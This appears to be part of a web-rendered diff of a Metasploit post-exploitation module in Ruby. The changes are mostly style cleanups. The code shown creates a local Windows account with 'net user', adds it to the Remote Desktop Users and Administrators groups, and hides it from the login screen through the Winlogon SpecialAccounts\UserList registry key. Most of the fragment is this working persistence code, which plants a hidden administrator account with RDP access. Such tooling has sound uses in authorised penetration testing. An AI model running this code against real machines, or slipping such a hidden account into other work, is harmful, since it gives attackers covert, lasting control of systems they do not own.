|
||||
print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]
|
||||
print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]
|
||||
print_error("\tNot adding user #{username}")
|
||||
return
|
||||
end
|
||||
|
||||
rdu = rdu_sid[:name]
|
||||
admin = admin_sid[:name]
|
||||
|
||||
user_added = false
|
||||
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
|
||||
|
||||
|
@ -131,16 +148,16 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
if user_added
|
||||
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
|
||||
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
|
||||
print_status "\tAdding User: #{username} to local group '#{rdu}'"
|
||||
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
|
||||
cmd_exec("cmd.exe", "/c net localgroup \"#{rdu}\" #{username} /add")
|
||||
|
||||
print_status "\tHiding user from Windows Login screen"
|
||||
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
|
||||
registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
|
||||
file_local_write(cleanup_rc,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
|
||||
registry_setvaldata(hide_user_key, username, 0, "REG_DWORD")
|
||||
file_local_write(cleanup_rc, "reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
|
||||
print_status "\tAdding User: #{username} to local group '#{admin}'"
|
||||
cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
|
||||
cmd_exec("cmd.exe", "/c net localgroup #{admin} #{username} /add")
|
||||
print_status "You can now login with the created user"
|
||||
else
|
||||
print_error("Account could not be created")
|
||||
|
@ -149,17 +166,12 @@ class MetasploitModule < Msf::Post
|
|||
print_error("\t#{l.chomp}")
|
||||
end
|
||||
end
|
||||
rescue ::Exception => e
|
||||
rescue StandardError => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
def check_user(user)
|
||||
output = cmd_exec('cmd.exe', '/c net user')
|
||||
if output.include?(user)
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
cmd_exec('cmd.exe', '/c net user').include?(user)
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue